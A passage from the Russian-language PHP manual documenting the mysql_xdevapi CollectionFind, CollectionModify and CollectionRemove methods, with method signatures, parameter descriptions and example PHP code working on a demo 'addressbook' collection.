var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию с EXCLUSIVE LOCK

  • « CollectionFind::limit
  • CollectionFind::lockShared »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Выполняет операцию с EXCLUSIVE LOCK

CollectionFind::lockExclusive

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::lockExclusive — Выполняет операцию с EXCLUSIVE LOCK

Описание

public mysql_xdevapi\CollectionFind::lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind

Блокирует исключительно документ, другие транзакции блокируются с момента обновления документа и до тех пор, пока документ заблокирован. Пока документ заблокирован, другие транзакции не могут обновлять эти документы, выполнять SELECT ... LOCK IN SHARE MODE или читать данные на определённых уровнях изоляции транзакций. Последовательные чтения игнорируют любые блокировки, установленные для записей, которые существуют в представлении чтения.

Функция полезна непосредственно с командой modify(), чтобы избежать проблем параллелизма. По сути, она сериализует доступ к строке через блокировку строки.

Список параметров

lock_waiting_option

Дополнительная опция ожидания. По умолчанию имеет значение MYSQLX_LOCK_DEFAULT. Допустимые значения представлены константами:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

Возвращаемые значения

Возвращает объект CollectionFind, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::lockExclusive()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
->find("age > 50")
->lockExclusive()
->execute();

// ... выполняем операцию с объектом

// Завершаем транзакцию и разблокируем документ
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию с SHARED LOCK

  • « CollectionFind::lockExclusive
  • CollectionFind::offset »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Выполняет операцию с SHARED LOCK

CollectionFind::lockShared

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::lockShared — Выполняет операцию с SHARED LOCK

Описание

public mysql_xdevapi\CollectionFind::lockShared(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind

Позволяет разделять документы между несколькими транзакциями, которые блокируются в режиме совместного использования.

Другие сеансы могут читать строки, но не могут изменять их, пока ваша транзакция не будет зафиксирована.

Если какая-либо из этих строк была изменена другой транзакцией, которая ещё не зафиксирована,

ваш запрос подождёт завершения этой транзакции, а затем использует самые последние значения.

Список параметров

lock_waiting_option

Дополнительная опция ожидания. По умолчанию имеет значение MYSQLX_LOCK_DEFAULT. Допустимые значения представлены константами:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

Возвращаемые значения

Объект CollectionFind, который можно использовать для дальнейшей обработки

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::lockShared()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
->find("age > 50")
->lockShared()
->execute();

// ... читаем объект в режиме совместного использования

// Завершаем транзакцию и разблокируем документ
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Пропускает указанное количество возвращаемых элементов

  • « CollectionFind::lockShared
  • CollectionFind::sort »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Пропускает указанное количество возвращаемых элементов

CollectionFind::offset

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::offset — Пропускает указанное количество возвращаемых элементов

Описание

public mysql_xdevapi\CollectionFind::offset(int $position): mysql_xdevapi\CollectionFind

Пропускает (смещает) это количество элементов, которые в противном случае были бы возвращены операцией поиска. Используйте совместно с методом limit().

При значении, превышающем размер набора результатов, приводит к пустому набору.

Список параметров

position

Количество элементов, которые нужно пропустить для операции limit().

Возвращаемые значения

Объект CollectionFind, который можно использовать для дополнительной обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::offset()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find()
->sort('age asc')
->offset(1)
->limit(1)
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии сортировки

  • « CollectionFind::offset
  • mysql_xdevapi\CollectionModify »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Устанавливает критерии сортировки

CollectionFind::sort

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::sort — Устанавливает критерии сортировки

Описание

public mysql_xdevapi\CollectionFind::sort(string $sort_expr): mysql_xdevapi\CollectionFind

Сортирует набор результатов по полю, выбранному в аргументе sort_expr. Разрешённые направления: ASC (по возрастанию) или DESC (по убыванию). Операция эквивалентна операции SQL 'ORDER BY' и соответствует тому же набору правил.

Список параметров

sort_expr

Можно указать одно или несколько выражений сортировки, Применяется слева направо, каждое выражение должно быть разделено запятой.

Возвращаемые значения

Объект CollectionFind, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::sort()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find()
->sort('job desc', 'age asc')
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000106"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000107"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Класс CollectionModify

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CollectionModify implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSkippable, mysql_xdevapi\CrudOperationSortable {
/* Методы */
public arrayAppend(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public arrayInsert(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public bind(array $placeholder_values): mysql_xdevapi\CollectionModify
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\CollectionModify
public patch(string $document): mysql_xdevapi\CollectionModify
public replace(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public set(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public skip(int $position): mysql_xdevapi\CollectionModify
public sort(string $sort_expr): mysql_xdevapi\CollectionModify
public unset(array $fields): mysql_xdevapi\CollectionModify
}

Содержание

  • CollectionModify::arrayAppend — Добавляет элемент в поле массива
  • CollectionModify::arrayInsert — Добавляет элемент в поле массива
  • CollectionModify::bind — Привязывает значение к заполнителю запроса
  • CollectionModify::__construct — Конструктор класса CollectionModify
  • CollectionModify::execute — Выполняет операцию изменения
  • CollectionModify::limit — Ограничивает количество изменяемых документов
  • CollectionModify::patch — Исправляет документ
  • CollectionModify::replace — Заменяет поле документа
  • CollectionModify::set — Устанавливает атрибут документа
  • CollectionModify::skip — Пропускает элементы
  • CollectionModify::sort — Устанавливает критерии сортировки
  • CollectionModify::unset — Сбрасывает значение полей документа

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент в поле массива

  • « mysql_xdevapi\CollectionModify
  • CollectionModify::arrayInsert »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Добавляет элемент в поле массива

CollectionModify::arrayAppend

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::arrayAppend — Добавляет элемент в поле массива

Описание

public mysql_xdevapi\CollectionModify::arrayAppend(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Добавляет элемент в поле документа, когда несколько элементов поля представляются в виде массива. В отличие от arrayInsert(), arrayAppend() всегда добавляет новый элемент в конец массива, тогда как arrayInsert() может определять местоположение.

Список параметров

collection_field

Идентификатор поля, в которое вставляется новый элемент.

expression_or_literal

Новый элемент для добавления в конец массива полей документа.

Возвращаемые значения

Объект CollectionModify, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::arrayAppend()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент в поле массива

  • « CollectionModify::arrayAppend
  • CollectionModify::bind »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Добавляет элемент в поле массива

CollectionModify::arrayInsert

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::arrayInsert — Добавляет элемент в поле массива

Описание

public mysql_xdevapi\CollectionModify::arrayInsert(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Добавляет элемент в поле документа, когда несколько элементов поля представляются в виде массива. В отличие от arrayAppend(), arrayInsert() позволяет вам указать, куда добавится новый элемент, определяя, за каким элементом он следует, тогда как arrayAppend() всегда добавляет новый элемент в конец массива.

Список параметров

collection_field

Определите элемент в массиве, после которого добавится новый элемент. Формат этого параметра: FIELD_NAME[ INDEX ], где FIELD_NAME - это имя поля документа, из которого удаляется элемент, а INDEX - это INDEX элемента в поле.

Поле INDEX основано на нуле, поэтому самый левый элемент массива имеет индекс 0.

expression_or_literal

Новый элемент для добавления после FIELD_NAME[ INDEX ]

Возвращаемые значения

Объект CollectionModify, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::arrayInsert()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayInsert('traits[1]', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010d
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Happy
                    [2] => Brother
                    [3] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Привязывает значение к заполнителю запроса

  • « CollectionModify::arrayInsert
  • CollectionModify::__construct »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Привязывает значение к заполнителю запроса

CollectionModify::bind

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::bind — Привязывает значение к заполнителю запроса

Описание

public mysql_xdevapi\CollectionModify::bind(array $placeholder_values): mysql_xdevapi\CollectionModify

Привязывает параметр к заполнителю в условии поиска операции изменения.

Заполнитель имеет вид :NAME, где ':' - это общий префикс, который должен всегда существовать до любого NAME, где NAME - это имя заполнителя. Метод bind принимает список заполнителей, если в условии поиска операции изменения необходимо заменить несколько объектов.

Список параметров

placeholder_values

Подстановочные значения для замены в условии поиска. Допускается использование нескольких значений, которые необходимо передать в виде массива сопоставлений PLACEHOLDER_NAME->PLACEHOLDER_VALUE.

Возвращаемые значения

Объект CollectionModify, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::bind()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000110
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CollectionModify

  • « CollectionModify::bind
  • CollectionModify::execute »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Конструктор класса CollectionModify

CollectionModify::__construct

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::__construct — Конструктор класса CollectionModify

Описание

private mysql_xdevapi\CollectionModify::__construct()

Изменяет (обновляет) коллекцию и создаётся методом Collection::modify().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию изменения

  • « CollectionModify::__construct
  • CollectionModify::limit »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Выполняет операцию изменения

CollectionModify::execute

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::execute — Выполняет операцию изменения

Описание

public mysql_xdevapi\CollectionModify::execute(): mysql_xdevapi\Result

Метод execute необходим для отправки запроса операции CRUD на сервер MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Result, который можно использовать для проверки состояния операции, например, количества затронутых строк.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::execute()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает количество изменяемых документов

  • « CollectionModify::execute
  • CollectionModify::patch »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Ограничивает количество изменяемых документов

CollectionModify::limit

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::limit — Ограничивает количество изменяемых документов

Описание

public mysql_xdevapi\CollectionModify::limit(int $rows): mysql_xdevapi\CollectionModify

Ограничивает количество документов, изменяемых этой операцией. При желании можно использовать skip() для определения значения смещения.

Список параметров

rows

Максимальное количество документов для изменения.

Возвращаемые значения

Объект CollectionModify.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::limit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();
$collection->add('{"name": "Betty", "age": 24, "job": "Teacher"}')->execute();

$collection
->modify("job = :job")
->bind(['job' => 'Teacher'])
->set('job', 'Principal')
->limit(1)
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000118
            [age] => 21
            [job] => Construction
            [name] => Fred
        )
    [1] => Array
        (
            [_id] => 00005b6b53610000000000000119
            [age] => 23
            [job] => Principal
            [name] => Wilma
        )
    [2] => Array
        (
            [_id] => 00005b6b5361000000000000011a
            [age] => 24
            [job] => Teacher
            [name] => Betty
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Исправляет документ

  • « CollectionModify::limit
  • CollectionModify::replace »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Исправляет документ

CollectionModify::patch

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::patch — Исправляет документ

Описание

public mysql_xdevapi\CollectionModify::patch(string $document): mysql_xdevapi\CollectionModify

Принимает объект исправления и применяет его к одному или нескольким документам и может обновлять несколько свойств документа.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

document

Документ со свойствами, применяемыми к соответствующим документам.

Возвращаемые значения

Объект CollectionModify.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::patch()

<?php

$res = $coll->modify('"Programmatore" IN job')->patch('{"Hobby" : "Programmare"}')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Заменяет поле документа

  • « CollectionModify::patch
  • CollectionModify::set »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Заменяет поле документа

CollectionModify::replace

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::replace — Заменяет поле документа

Описание

public mysql_xdevapi\CollectionModify::replace(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Заменяет (обновляет) данное значение поля новым.

Список параметров

collection_field

Путь документа к элементу для обновления.

expression_or_literal

Значение, устанавливаемое для указанного атрибута.

Возвращаемые значения

Объект CollectionModify.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::replace()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->replace("name", "Bern")
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000011b
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает атрибут документа

  • « CollectionModify::replace
  • CollectionModify::skip »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Устанавливает атрибут документа

CollectionModify::set

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::set — Устанавливает атрибут документа

Описание

public mysql_xdevapi\CollectionModify::set(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Устанавливает или обновляет атрибуты документов в коллекции.

Список параметров

collection_field

Путь к документу (имя) элемента для установки.

expression_or_literal

Значение для установки.

Возвращаемые значения

Объект CollectionModify.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::set()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->set("name", "Bern")
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000111
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Пропускает элементы

  • « CollectionModify::set
  • CollectionModify::sort »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Пропускает элементы

CollectionModify::skip

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::skip — Пропускает элементы

Описание

public mysql_xdevapi\CollectionModify::skip(int $position): mysql_xdevapi\CollectionModify

Пропускает первые N элементов, которые в противном случае были бы возвращены операцией поиска. Если количество пропущенных элементов превышает размер набора результатов, операция поиска возвращает пустой набор.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

position

Количество пропускаемых элементов.

Возвращаемые значения

Объект CollectionModify, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::skip()

<?php

$coll->modify('age > :age')->sort('age desc')->unset(['age'])->bind(['age' => 20])->limit(4)->skip(1)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии сортировки

  • « CollectionModify::skip
  • CollectionModify::unset »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Устанавливает критерии сортировки

CollectionModify::sort

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::sort — Устанавливает критерии сортировки

Описание

public mysql_xdevapi\CollectionModify::sort(string $sort_expr): mysql_xdevapi\CollectionModify

Сортирует набор результатов по полю, выбранному в аргументе sort_expr. Разрешённые направления: ASC (по возрастанию) или DESC (по убыванию). Эта операция эквивалентна операции SQL 'ORDER BY' и соответствует тому же набору правил.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

sort_expr

Можно указать одно или несколько выражений сортировки, Применяется слева направо, каждое выражение должно быть разделено запятой.

Возвращаемые значения

Объект CollectionModify, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::sort()

<?php

$res = $coll->modify('true')->sort('name desc', 'age asc')->limit(4)->set('Married', 'NO')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает значение полей документа

  • « CollectionModify::sort
  • mysql_xdevapi\CollectionRemove »
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Сбрасывает значение полей документа

CollectionModify::unset

(Информация о версии неизвестна, возможно, только в Git)

CollectionModify::unset — Сбрасывает значение полей документа

Описание

public mysql_xdevapi\CollectionModify::unset(array $fields): mysql_xdevapi\CollectionModify

Удаляет атрибуты из документов в коллекции.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

fields

Атрибуты для удаления из документов в коллекции.

Возвращаемые значения

Объект CollectionModify, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionModify::unset()

<?php

$res = $coll->modify('job like :job_name')->unset(["age", "name"])->bind(['job_name' => 'Plumber'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс CollectionRemove

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CollectionRemove implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSortable {
/* Методы */
public bind(array $placeholder_values): mysql_xdevapi\CollectionRemove
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\CollectionRemove
public sort(string $sort_expr): mysql_xdevapi\CollectionRemove
}

Содержание

  • CollectionRemove::bind — Привязывает значение к заполнителю
  • CollectionRemove::__construct — Конструктор класса CollectionRemove
  • CollectionRemove::execute — Выполняет операцию удаления
  • CollectionRemove::limit — Ограничивает количество документов для удаления
  • CollectionRemove::sort — Устанавливает критерии сортировки

User Contributed Notes

There are no user contributed notes for this page.


Привязывает значение к заполнителю

  • « mysql_xdevapi\CollectionRemove
  • CollectionRemove::__construct »
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Привязывает значение к заполнителю

CollectionRemove::bind

(Информация о версии неизвестна, возможно, только в Git)

CollectionRemove::bind — Привязывает значение к заполнителю

Описание

public mysql_xdevapi\CollectionRemove::bind(array $placeholder_values): mysql_xdevapi\CollectionRemove

Привязывает параметр к заполнителю в условии поиска операции удаления.

Заполнитель имеет вид :NAME, где ':' - это общий префикс, который должен всегда указан перед любым NAME, где NAME - это имя заполнителя. Метод bind принимает список заполнителей, если в условии поиска операции удаления необходимо заменить несколько объектов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

placeholder_values

Значения заполнителя для замены в условии поиска. Допускается использование нескольких значений, которые необходимо передать в виде массива сопоставлений PLACEHOLDER_NAME->PLACEHOLDER_VALUE.

Возвращаемые значения

Объект CollectionRemove, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionRemove::bind()

<?php

$res = $coll->remove('age > :age_from and age < :age_to')->bind(['age_from' => 20, 'age_to' => 50])->limit(7)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CollectionRemove

  • « CollectionRemove::bind
  • CollectionRemove::execute »
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Конструктор класса CollectionRemove

CollectionRemove::__construct

(Информация о версии неизвестна, возможно, только в Git)

CollectionRemove::__construct — Конструктор класса CollectionRemove

Описание

private mysql_xdevapi\CollectionRemove::__construct()

Удаляет документы коллекции и создаётся экземпляром метода Collection::remove().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::remove()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Painter"}')->execute();

// Удаление всех художников
$collection
->remove("job in ('Painter')")
->execute();

// Удалить самого старого дворецкого
$collection
->remove("job in ('Butler')")
->sort('age desc')
->limit(1)
->execute();

// Удалить запись с самым низким возрастом
$collection
->remove('true')
->sort('age desc')
->limit(1)
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию удаления

  • « CollectionRemove::__construct
  • CollectionRemove::limit »
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Выполняет операцию удаления

CollectionRemove::execute

(Информация о версии неизвестна, возможно, только в Git)

CollectionRemove::execute — Выполняет операцию удаления

Описание

public mysql_xdevapi\CollectionRemove::execute(): mysql_xdevapi\Result

Функция execute должна вызываться, чтобы заставить клиента отправить запрос операции CRUD на сервер.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Result.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionRemove::execute()

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает количество документов для удаления

  • « CollectionRemove::execute
  • CollectionRemove::sort »
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Ограничивает количество документов для удаления

CollectionRemove::limit

(Информация о версии неизвестна, возможно, только в Git)

CollectionRemove::limit — Ограничивает количество документов для удаления

Описание

public mysql_xdevapi\CollectionRemove::limit(int $rows): mysql_xdevapi\CollectionRemove

Устанавливает максимальное количество документов для удаления.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

rows

Максимальное количество документов для удаления.

Возвращаемые значения

Возвращает объект CollectionRemove, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionRemove::limit()

<?php

$res = $coll->remove('job in (\'Barista\', \'Programmatore\', \'Ballerino\', \'Programmatrice\')')->limit(5)->sort(['age desc', 'name asc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


